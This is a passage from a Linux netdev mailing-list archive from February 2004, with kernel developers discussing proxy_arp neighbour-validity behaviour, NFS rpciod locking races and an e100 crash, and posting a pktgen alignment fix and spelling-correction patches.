+0200 Date: Tue, 10 Feb 2004 11:44:23 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: jamal cc: netdev@oss.sgi.com, Alexey Kuznetsov Subject: Re: Change proxy_arp to respond only for valid neighbours In-Reply-To: <1076376094.1039.102.camel@jzny.localdomain> Message-ID: References: <1076338874.1026.36.camel@jzny.localdomain> <1076367038.1037.15.camel@jzny.localdomain> <1076376094.1039.102.camel@jzny.localdomain> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3185 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Hello, On Tue, 9 Feb 2004, jamal wrote: > Is this always guaranteed? Example "ip route get" will always create > a cache entry but not a neighbor. rt_intern_hash shows that it is created and I also checked it by using printk, the entry is freed some time after the routing cache entry is deleted, later may be when dst is deleted and neigh_periodic_timer removes it. > This is true, but not in my setup where i guarantee there will be > no other authoritative response. > I think authoritative answer is the main reason for the race; > the fact that you can set proxy_delay to 0 when you need to (such as in > my case) is needed flexibility. So, a device flag seems as the only alternative to say that you really want immediate answer no matter what the target state is. > > With the new changes we will respond to unicast probe > > immediately only if the target neighbour is marked valid in our > > cache. For non-ARP target devices the behaviour is same - immediate > > response. > > > > again back to my earlier question (and talking about ARP only): > A host would only send us a unicast probe to begin with if it is > NUD_PROBE state (iirc); which means given the exchanges the cache entry > we have would more than likely be valid still i.e if you want to > optimize this portion you will be mostly doing a useless call. Agreed? Yes, requestor can be in PROBE state sending unicasts but for us the target can be already unreachable. > I suppose you are trying to shortcut this by not waiting until the arp > state machine takes effect - which is fine but i claim needs to be > configurable over current behavior. Sometimes when delay is not 0 the immediate neigh_event_send has chance to learn the target's state before the request is dequeued for answer. But if delay is configured to 0 we have to drop the first request because we do not have real answer, we have to wait for 2nd request. The goal is not to give false answers even for unicast requests. To avoid such one-second delay we can walk the proxy_queue when target answers and to propagate the answer to all queued requests but it will take too many CPU cycles, I think. So, we have three options when delay is set to 0: 1. the first request is dropped if there is no valid entry for target 2. we lie and send false answers to unicast probes, for long time after target becomes unreachable 3. we introduce intentional delay (the configured delay is 0), we queue this request and later probably reply to it I can agree with you (for case 2) only if the requestor is not going to send unicast probes forever. But looking at the end of arp_process if Linux is the requestor it will enter NUD_REACHABLE state after receiving unicast reply. So, may be this is going to live forever? It seems the periodic timer is going to loop between NUD_REACHABLE -> NUD_STALE -> NUD_DELAY -> NUD_PROBE (sending unicasts) -> and then we receive false unicast reply -> loop > > You forgot the main reason I started this change: for > > neighbour state detection reasons it is bad the requestor to receive > > answer for target host when this host is down. The goal is to > > stop any traffic to target if it is not reachable and to use > > other paths. > > Ok, i wasnt aware of why you started this - its a neat hack which will > improve failover times; the SCTP folks would probably like this. But it will drop first requests if delay is set to 0 :) > > But in what I'm not sure yet is whether there is a > > usage that relies on immediate answer no matter the state. > > I think that if you want fast discovery the way you are proposing it > is the better way. Of course this comes at the expense of extra > checks (even when they are unneeded as i have claimed so far in the > case of unicast probes) It seems they are needed if we want to provide valid answers > > If we do not want to ignore such usage we have to add flag > > as you proposed. The question is: is it useful to provide > > immediate response as before without knowing the neighbour > > state, for the ARP cases. > > I think knowing the state before response in itself is useful when > needed. This is the most useful thing in your patch; the other parts > you are throwing in as gravy on fries and they are a little > suspicious ;-> > The main thing is backward compatibility; for years this is the > way it has worked. In my setup for example i have no need for > your shortcut. Yes, it seems it serves only failover purposes > > > In your case, you will amortize that cost at arp time. In the case of > > > unicast probes (assuming a sane arp implementation on the other side) > > > you will actually be adding cost since mostly that entry will be in the > > > cache. > > > > You mean the delay? I add it for other purposes, even > > if target is valid in the cache. > > Just the extra call to check state before responding adds a little to > the overhead for no good reason. The good news is that it is cached during the reachable_time :) > If the arp cache is invalid when you respond, the principle of > conservation of work says that work will be done later, you just defered > it to route lookup time when an IP packet is sent. The main thing is that I do not want the requestor to add routing cache entry for this dead path because such entries are going to flood us with IP [re]transmissions which is not needed. The best way is the requestor to avoid the failed target IP as gateway and to cache another (probably) reachable target. No other benefits, I think. For this, the requestor should switch from PROBE to FAILED. > > True, if the administrator is sure that our box is the > > only responder for such targets he can set the delay to 0 to > > speedup the answers. > > > > Exactly my setup. So in this case i think this feature should stay. So, how are we going to support it? Additional flag? If we do not support it we are going to drop the first request and to answer the next one. Or may be we can introduce delay? > I think i kept you busy and i am not really an parp expert, just a > user ;-> Thank you for your time :) We should check this issue from all perspectives. > cheers, > jamal Regards -- Julian Anastasov From okir@suse.de Tue Feb 10 02:03:37 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 02:03:51 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1AA3QKO027025 for ; Tue, 10 Feb 2004 02:03:27 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 9BD46195308; Tue, 10 Feb 2004 10:18:08 +0100 (CET) Received: by wotan.suse.de (Postfix, from userid 10572) id 6ED79196CE; Tue, 10 Feb 2004 10:18:08 +0100 (CET) Date: Tue, 10 Feb 2004 10:18:08 +0100 From: Olaf Kirch To: Greg Banks Cc: Christoph Hellwig , netdev@oss.sgi.com, nfs@lists.sourceforge.net Subject: Re: [NFS] [PATCH][RFC] use completions instead of sleep_on for rpciod Message-ID: <20040210091808.GE20932@suse.de> References: <20040207144405.GA19416@lst.de> <20040209102801.GC21364@suse.de> <40283952.6093F19D@melbourne.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline In-Reply-To: <40283952.6093F19D@melbourne.sgi.com> User-Agent: Mutt/1.4i X-archive-position: 3186 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: okir@suse.de Precedence: bulk X-list: netdev On Tue, Feb 10, 2004 at 12:52:18PM +1100, Greg Banks wrote: > Yes but it's worth doing, especially serverside. I won't argue that point. But I've had to deal with the fall-out from "oh-well-they-seem-to-work-here" type of NFS BKL removal patches, so I'm quite wary of adding anything at this point in the game :) Olaf -- Olaf Kirch | Stop wasting entropy - start using predictable okir@suse.de | tempfile names today! ---------------+ From hadi@cyberus.ca Tue Feb 10 02:48:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 02:49:07 -0800 (PST) Received: from sand.cybersurf.com (sand.cybersurf.com [209.197.145.195]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1AAmnKO030643 for ; Tue, 10 Feb 2004 02:48:50 -0800 Received: from mail.cyberus.ca (mail.cyberus.ca [209.197.145.21]) by sand.cybersurf.com (8.12.8/8.12.8) with ESMTP id i1AAmiF7002617 for ; Tue, 10 Feb 2004 03:48:44 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.21]) by mail.cyberus.ca with esmtp (Exim 4.20) id 1AqVRZ-0008Ps-UC; Tue, 10 Feb 2004 05:48:42 -0500 Subject: Re: Change proxy_arp to respond only for valid neighbours From: jamal Reply-To: hadi@cyberus.ca To: Julian Anastasov Cc: netdev@oss.sgi.com, Alexey Kuznetsov In-Reply-To: References: <1076338874.1026.36.camel@jzny.localdomain> <1076367038.1037.15.camel@jzny.localdomain> <1076376094.1039.102.camel@jzny.localdomain> Content-Type: text/plain Organization: jamalopolis Message-Id: <1076410090.1039.578.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 10 Feb 2004 05:48:10 -0500 Content-Transfer-Encoding: 7bit X-archive-position: 3187 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev On Tue, 2004-02-10 at 04:44, Julian Anastasov wrote: > Hello, > > On Tue, 9 Feb 2004, jamal wrote: > > > Is this always guaranteed? Example "ip route get" will always create > > a cache entry but not a neighbor. > > rt_intern_hash shows that it is created and I also checked > it by using printk, the entry is freed some time after the routing > cache entry is deleted, later may be when dst is deleted and > neigh_periodic_timer removes it. > I believe it would work even if there is no neighbor resolved yet. i.e it depends only on a route being resolvable not necessarily having the next hop existing already in arp cache. Try get on some host that doesnt exist in cache yet - try on some fake address on a directly connected subnet (make sure you pick a host that doesnt exist and therefore will never be reached). > > This is true, but not in my setup where i guarantee there will be > > no other authoritative response. > > I think authoritative answer is the main reason for the race; > > the fact that you can set proxy_delay to 0 when you need to (such as in > > my case) is needed flexibility. > > So, a device flag seems as the only alternative to say > that you really want immediate answer no matter what the target > state is. nod. > > > > again back to my earlier question (and talking about ARP only): > > A host would only send us a unicast probe to begin with if it is > > NUD_PROBE state (iirc); which means given the exchanges the cache entry > > we have would more than likely be valid still i.e if you want to > > optimize this portion you will be mostly doing a useless call. Agreed? > > Yes, requestor can be in PROBE state sending unicasts > but for us the target can be already unreachable. This is true; what i am saying is for this to happen more than likely something odd must have happened ex: the cable towards the target may have been pulled.i.e the chances of this happening just because the arp cache expired are low. The arp cache would exist because the initial states would have created it. > > I suppose you are trying to shortcut this by not waiting until the arp > > state machine takes effect - which is fine but i claim needs to be > > configurable over current behavior. > > Sometimes when delay is not 0 the immediate neigh_event_send > has chance to learn the target's state before the request is > dequeued for answer. But if delay is configured to 0 we have to > drop the first request because we do not have real answer, we > have to wait for 2nd request. The goal is not to give false answers > even for unicast requests. But the above assumes there are false alarms in all cases ;-> > To avoid such one-second delay we can > walk the proxy_queue when target answers and to propagate the > answer to all queued requests but it will take too many CPU cycles, > I think. So, we have three options when delay is set to 0: > > 1. the first request is dropped if there is no valid entry for target > > 2. we lie and send false answers to unicast probes, for long time > after target becomes unreachable This is current behavior; i wouldnt say we lie rather we send educated response back. > > 3. we introduce intentional delay (the configured delay is 0), > we queue this request and later probably reply to it > > I can agree with you (for case 2) only if the requestor is > not going to send unicast probes forever. Thats why i asked if you are trying to catch insane implementation. In my case everything is Linux. Ok, theres some pollution with a CISCO upstream, but that seems to have a sane arp too. Leave #2 with a flag to ask for for neigh_event_send() to be used when needed. > But looking at the > end of arp_process if Linux is the requestor it will enter > NUD_REACHABLE state after receiving unicast reply. So, may > be this is going to live forever? It seems the periodic timer > is going to loop between > NUD_REACHABLE -> NUD_STALE -> NUD_DELAY -> NUD_PROBE (sending > unicasts) -> and then we receive false unicast reply -> loop Well, yeah - an insane implementation will cause a lot of grief; [..] > > > You mean the delay? I add it for other purposes, even > > > if target is valid in the cache. > > > > Just the extra call to check state before responding adds a little to > > the overhead for no good reason. > > The good news is that it is cached during the reachable_time :) > > > If the arp cache is invalid when you respond, the principle of > > conservation of work says that work will be done later, you just defered > > it to route lookup time when an IP packet is sent. > > The main thing is that I do not want the requestor to add > routing cache entry for this dead path because such entries are going > to flood us with IP [re]transmissions which is not needed. The best way > is the requestor to avoid the failed target IP as gateway and to cache > another (probably) reachable target. No other benefits, I think. > For this, the requestor should switch from PROBE to FAILED. > I dont question the validity of this portion of your patch. i.e it is an improvement in certain cases - the cost is only an extra neigh_event_send(). But because it is not needed 100% of the time given the educated assumption being made right now, i think the behavior should be configurable. For me #2 breaks only if the target dissapeares (cable gone or target removed). > > > True, if the administrator is sure that our box is the > > > only responder for such targets he can set the delay to 0 to > > > speedup the answers. > > > > > > > Exactly my setup. So in this case i think this feature should stay. > > So, how are we going to support it? Additional flag? > If we do not support it we are going to drop the first request > and to answer the next one. Or may be we can introduce delay? We should support it. It should just be turned off by default. It seems to me it should be per device flag with ability to turn it off for all devices too, no? cheers, jamal From trondmy@ulrik.uio.no Tue Feb 10 03:53:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 03:53:41 -0800 (PST) Received: from pat.uio.no (IDENT:7411@pat.uio.no [129.240.130.16]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1ABrQKO000633 for ; Tue, 10 Feb 2004 03:53:27 -0800 Received: from mail-mx4.uio.no ([129.240.10.45]) by pat.uio.no with esmtp (Exim 4.20) id 1AqWSA-0004lh-BT; Tue, 10 Feb 2004 12:53:22 +0100 Received: from mail-web2.uio.no ([129.240.10.46] helo=webmail.uio.no) by mail-mx4.uio.no with smtp (Exim 4.14) id 1AqWMT-00081p-Hv; Tue, 10 Feb 2004 12:47:29 +0100 Received: from ti221110a080-0832.bb.online.no ([80.213.3.64]) (SquirrelMail authenticated user trondmy) by webmail.uio.no with HTTP; Tue, 10 Feb 2004 12:47:29 +0100 (CET) Message-ID: <33285.80.213.3.64.1076413649.squirrel@webmail.uio.no> Date: Tue, 10 Feb 2004 12:47:29 +0100 (CET) Subject: Re: [NFS] [PATCH][RFC] use completions instead of sleep_on forrpciod From: trond.myklebust@fys.uio.no To: "Olaf Kirch" Cc: "Christoph Hellwig" , netdev@oss.sgi.com, nfs@lists.sourceforge.net User-Agent: SquirrelMail/1.4.2 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 Importance: Normal References: <20040207144405.GA19416@lst.de> <20040209102801.GC21364@suse.de> <35059.80.213.3.64.1076359739.squirrel@webmail.uio.no> <20040210091520.GD20932@suse.de> In-Reply-To: <20040210091520.GD20932@suse.de> X-MailScanner-Information: This message has been scanned for viruses/spam. Contact postmaster@uio.no if you have questions about this scanning X-UiO-MailScanner: No virus found X-UiO-Spam-info: not spam, SpamAssassin (score=1.116, required 12, NO_REAL_NAME 0.28, PRIORITY_NO_NAME 0.83) X-UiO-Spam-score: s X-archive-position: 3188 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: trond.myklebust@fys.uio.no Precedence: bulk X-list: netdev På ty , 10/02/2004 klokka 10:15, skreiv Olaf Kirch: > It wasn't in 2.4.19 or whenever I ran into this. And a per-transport lock isn't enough to protect a global variable shared by all transports. Trust me: I spent several weeks debugging this particular problem :) (See the PS for a somewhat lengthy description of what I remember) Duh... I forgot that the XID was still global... Does anybody see any problems with moving the XID counter into the struct xprt? Please bear in mind that the replay caches on modern NFS servers look at XID+client IP address+port number, so 2 sockets that play the same XID to the server should not normally conflict. > I think that BKL removal at this point is probably not a good idea. Suse had a BKL removal patch in their SLES8 kernel, and I spent a total of 4-5 > weeks hunting down all sorts of bugs related to SMP races. And I don't think we've seen all of these bugs yet. It might be better to postpone this for the 2.7 branch. I totally agree with this... No extra work has been done on BKL removal in the 2.6 branch, and I know that the old patch that was up for testing in the 2.4 tree was buggy in several ways... > > The code in unlink.c is only called from dentry_iput() or from sillyrename(). In either case, there is no possibility for SMP races. > > Are you sure? nfs_dentry_iput explicitly does a lock_kernel before calling > nfs_complete_unlink. I think that's because dentry_iput explicitly drops the dcache_lock before calling dentry->d_op->d_iput. I wouldn't remove that BKL :) Yep, but there is only one inode per dentry, and the VFS rules forbids you to convert a negative dentry into a positive one (the contrary is allowed, but only under certain restricted situations). > And even if you leave that BKL and just remove the one in rpciod, you may > still have a race between rpciod and dput. One CPU may be adding entries inside nfs_async_unlink (called from dentry_iput()), and at the same time rpciod can run on another CPU, calling nfs_async_unlink_release, removing stuff from the nfs_deletes list. The reference counting on nfs_unlinkdata isn't atomic either. Sure... The unlink.c global lists definitely depend on the BKL for protection. The latter would need to be replaced by a new global spinlock. Cheers, Trond From vandrove@vc.cvut.cz Tue Feb 10 06:11:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 06:11:38 -0800 (PST) Received: from vana.vc.cvut.cz (root@vana.vc.cvut.cz [147.32.240.58]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1AEBTKO008360 for ; Tue, 10 Feb 2004 06:11:29 -0800 Received: from vana.vc.cvut.cz (smmsp@localhost [127.0.0.1]) by vana.vc.cvut.cz (8.12.11/8.12.11/Debian-1) with ESMTP id i1AEBNOa015575; Tue, 10 Feb 2004 15:11:23 +0100 Received: (from root@localhost) by vana.vc.cvut.cz (8.12.11/8.12.11/Debian-1) id i1AEBJj9015564; Tue, 10 Feb 2004 15:11:19 +0100 Date: Tue, 10 Feb 2004 15:11:19 +0100 From: Petr Vandrovec To: "Feldman, Scott" Cc: "David S. Miller" , netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: 2.6.2 crash after network link failure Message-ID: <20040210141118.GA14719@vana.vc.cvut.cz> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 3189 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vandrove@vc.cvut.cz Precedence: bulk X-list: netdev On Mon, Feb 09, 2004 at 03:37:48PM -0800, Feldman, Scott wrote: > > I think what might be happening is that somehow the TX queue > > is corrupted if > > e100_config() runs (due to link UP state change) while there > > are active normal SKB packets on the TX queue. Or perhaps > > some TX queue handling locking issue. > > > > Scott, any ideas? > > e100 hardware will continue to process the hardware's Tx queue even > after link is lost, and then cleanup (return skbs) on interrupt. I > would expect e100 to be holding no Tx skbs when link returned. > > Petr, -mm kernel has an updated (and much simpler) e100 driver. Is this > something you can try? The switch failure can be simulated by manually > plugging the cable in/out. Unfortunately it does not seem easily triggerable. I spent about one hour plugging/unplugging cable while transmitting UDP packets as fast as possible, sometime interleaved with 'mii-tool -r', and it refused to crash... Petr Vandrovec From Robert.Olsson@data.slu.se Tue Feb 10 10:03:00 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 10:03:12 -0800 (PST) Received: from mail1.slu.se (mail1.slu.se [130.238.96.11]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1AI2wKO019487 for ; Tue, 10 Feb 2004 10:02:59 -0800 Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by mail1.slu.se (8.12.10/8.12.10) with ESMTP id i1AI2uLq027066; Tue, 10 Feb 2004 19:02:56 +0100 Received: by robur.slu.se (Postfix, from userid 1000) id 3C41DEC061; Tue, 10 Feb 2004 19:02:57 +0100 (CET) From: Robert Olsson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16425.7377.210243.50268@robur.slu.se> Date: Tue, 10 Feb 2004 19:02:57 +0100 To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] pktgen unaligned access on IA-64 X-Mailer: VM 7.17 under Emacs 21.3.1 X-archive-position: 3190 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev Hello! Grant Grundler spotted and cured this. Cheers. --ro --- net/core/pktgen.c.040207 Sat Feb 7 12:54:40 2004 +++ net/core/pktgen.c Mon Feb 9 00:03:52 2004 @@ -50,6 +50,8 @@ * Fix refcount off by one if first packet fails, potential null deref, * memleak 030710- KJP * + * Fixed unaligned access on IA-64 Grant Grundler + * * See Documentation/networking/pktgen.txt for how to use this. */ @@ -88,7 +90,7 @@ #define cycles() ((u32)get_cycles()) -#define VERSION "pktgen version 1.31" +#define VERSION "pktgen version 1.32" static char version[] __initdata = "pktgen.c: v1.3: Packet Generator for packet performance testing.\n"; @@ -193,7 +195,8 @@ struct pktgen_hdr { __u32 pgh_magic; __u32 seq_num; - struct timeval timestamp; + __u32 tv_sec; + __u32 tv_usec; }; static int cpu_speed; @@ -563,11 +566,14 @@ /* Stamp the time, and sequence number, convert them to network byte order */ if (pgh) { + struct timeval timestamp; + pgh->pgh_magic = htonl(PKTGEN_MAGIC); - do_gettimeofday(&(pgh->timestamp)); - pgh->timestamp.tv_usec = htonl(pgh->timestamp.tv_usec); - pgh->timestamp.tv_sec = htonl(pgh->timestamp.tv_sec); - pgh->seq_num = htonl(info->seq_num); + pgh->seq_num = htonl(info->seq_num); + + do_gettimeofday(×tamp); + pgh->tv_sec = htonl(timestamp.tv_sec); + pgh->tv_usec = htonl(timestamp.tv_usec); } return skb; From yoshfuji@linux-ipv6.org Tue Feb 10 10:27:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 10:27:49 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1AIRbKO020655 for ; Tue, 10 Feb 2004 10:27:38 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id E0F6133CA5; Wed, 11 Feb 2004 03:28:34 +0900 (JST) Date: Wed, 11 Feb 2004 03:28:34 +0900 (JST) Message-Id: <20040211.032834.11028832.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: netdev@oss.sgi.com, yoshfuji@linux-ipv6.org Subject: [PATCH] NET: spelling correction From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3193 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev D: spelling correction for net/core ===== net/core/dev.c 1.129 vs edited ===== --- 1.129/net/core/dev.c Sat Feb 7 10:56:41 2004 +++ edited/net/core/dev.c Wed Feb 11 02:46:09 2004 @@ -134,7 +134,7 @@ * sure which should go first, but I bet it won't make much * difference if we are running VLANs. The good news is that * this protocol won't be in the list unless compiled in, so - * the average user (w/out VLANs) will not be adversly affected. + * the average user (w/out VLANs) will not be adversely affected. * --BLG * * 0800 IP @@ -892,7 +892,7 @@ /* * Some old buggy device drivers change get_stats after registering * the device. Try and trap them here. - * This can be elimnated when all devices are known fixed. + * This can be eliminated when all devices are known fixed. */ static inline int get_stats_changed(struct net_device *dev) { @@ -1375,7 +1375,7 @@ if (dev->xmit_lock_owner != cpu) { /* - * The spin_lock effectivly does a preempt lock, but + * The spin_lock effectively does a preempt lock, but * we are about to drop that... */ preempt_disable(); @@ -1426,7 +1426,7 @@ int netdev_max_backlog = 300; int weight_p = 64; /* old backlog weight */ /* These numbers are selected based on intuition and some - * experimentatiom, if you have more scientific way of doing this + * experimentation, if you have more scientific way of doing this * please go ahead and fix things. */ int no_cong_thresh = 10; ===== net/core/wireless.c 1.15 vs edited ===== --- 1.15/net/core/wireless.c Mon Sep 29 07:29:53 2003 +++ edited/net/core/wireless.c Wed Feb 11 02:52:12 2004 @@ -378,7 +378,7 @@ * * Note : our current commit strategy is currently pretty dumb, * but we will be able to improve on that... - * The goal is to try to agreagate as many changes as possible + * The goal is to try to aggregate as many changes as possible * before doing the commit. Drivers that will define a commit handler * are usually those that need a reset after changing parameters, so * we want to minimise the number of reset. -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Tue Feb 10 10:27:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 10 Feb 2004 10:27:25 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1AIRGKO020557 for ; Tue, 10 Feb 2004 10:27:16 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 2A4BB33CA5; Wed, 11 Feb 2004 03:28:03 +0900 (JST) Date: Wed, 11 Feb 2004 03:28:02 +0900 (JST) Message-Id: <20040211.032802.74694162.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: yoshfuji@linux-ipv6.org, netdev@oss.sgi.com Subject: [PATCH] IPV6: spelling correction From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3191 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Hello. D: spelling correction for net/ipv6 D: This patch also removes some XXX. Thanks. ===== net/ipv6/addrconf.c 1.91 vs edited ===== --- 1.91/net/ipv6/addrconf.c Tue Feb 3 03:31:58 2004 +++ edited/net/ipv6/addrconf.c Wed Feb 11 02:11:58 2004 @@ -1071,7 +1071,7 @@ eui[0] ^= 2; return 0; case ARPHRD_ARCNET: - /* XXX: inherit EUI-64 fro mother interface -- yoshfuji */ + /* XXX: inherit EUI-64 from other interface -- yoshfuji */ if (dev->addr_len != ARCNET_ALEN) return -1; memset(eui, 0, 7); ===== net/ipv6/ip6_fib.c 1.22 vs edited ===== --- 1.22/net/ipv6/ip6_fib.c Sun Jan 25 03:09:52 2004 +++ edited/net/ipv6/ip6_fib.c Wed Feb 11 02:30:58 2004 @@ -85,7 +85,7 @@ /* * A routing update causes an increase of the serial number on the - * afected subtree. This allows for cached routes to be asynchronously + * affected subtree. This allows for cached routes to be asynchronously * tested when modifications are made to the destination cache as a * result of redirects, path MTU changes, etc. */ ===== net/ipv6/exthdrs.c 1.16 vs edited ===== --- 1.16/net/ipv6/exthdrs.c Mon Feb 9 05:54:02 2004 +++ edited/net/ipv6/exthdrs.c Wed Feb 11 02:30:29 2004 @@ -120,7 +120,7 @@ for (curr=procs; curr->type >= 0; curr++) { if (curr->type == skb->nh.raw[off]) { /* type specific length/alignment - checks will be perfomed in the + checks will be performed in the func(). */ if (curr->func(skb, off) == 0) return 0; ===== net/ipv6/ndisc.c 1.71 vs edited ===== --- 1.71/net/ipv6/ndisc.c Tue Feb 10 04:13:09 2004 +++ edited/net/ipv6/ndisc.c Wed Feb 11 02:12:13 2004 @@ -747,7 +747,7 @@ return; } - /* XXX: RFC2461 7.1.1: + /* RFC2461 7.1.1: * If the IP source address is the unspecified address, * there MUST NOT be source link-layer address option * in the message. @@ -1195,7 +1195,7 @@ return; } - /* XXX: RFC2461 8.1: + /* RFC2461 8.1: * The IP source address of the Redirect MUST be the same as the current * first-hop router for the specified ICMP Destination Address. */ ===== net/ipv6/raw.c 1.48 vs edited ===== --- 1.48/net/ipv6/raw.c Thu Jan 29 09:06:25 2004 +++ edited/net/ipv6/raw.c Wed Feb 11 02:39:30 2004 @@ -222,7 +222,7 @@ } /* ipv4 addr of the socket is invalid. Only the - * unpecified and mapped address have a v4 equivalent. + * unspecified and mapped address have a v4 equivalent. */ v4addr = LOOPBACK4_IPV6; if (!(addr_type & IPV6_ADDR_MULTICAST)) { @@ -306,7 +306,7 @@ * This is next to useless... * if we demultiplex in network layer we don't need the extra call * just to queue the skb... - * maybe we could have the network decide uppon a hint if it + * maybe we could have the network decide upon a hint if it * should call raw_rcv for demultiplexing */ int rawv6_rcv(struct sock *sk, struct sk_buff *skb) @@ -627,7 +627,7 @@ if (ipv6_addr_any(daddr)) { /* - * unspecfied destination address + * unspecified destination address * treated as error... is this correct ? */ fl6_sock_release(flowlabel); ===== net/ipv6/route.c 1.63 vs edited ===== --- 1.63/net/ipv6/route.c Sun Jan 25 03:09:52 2004 +++ edited/net/ipv6/route.c Wed Feb 11 02:38:57 2004 @@ -223,7 +223,7 @@ match = sprt; mpri = m; if (m >= 12) { - /* we choose the lastest default router if it + /* we choose the last default router if it * is in (probably) reachable state. * If route changed, we should do pmtu * discovery. --yoshfuji ===== net/ipv6/ip6_tunnel.c 1.16 vs edited ===== --- 1.16/net/ipv6/ip6_tunnel.c Thu Jan 22 15:38:40 2004 +++ edited/net/ipv6/ip6_tunnel.c Wed Feb 11 02:37:02 2004 @@ -399,7 +399,7 @@ __u16 len; /* If the packet doesn't contain the original IPv6 header we are - in trouble since we might need the source address for furter + in trouble since we might need the source address for further processing of the error. */ read_lock(&ip6ip6_lock); -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From yoshfuji@linux-ipv6.org Tue Feb 10 10:27:35 2004 Received: with ECARTIS 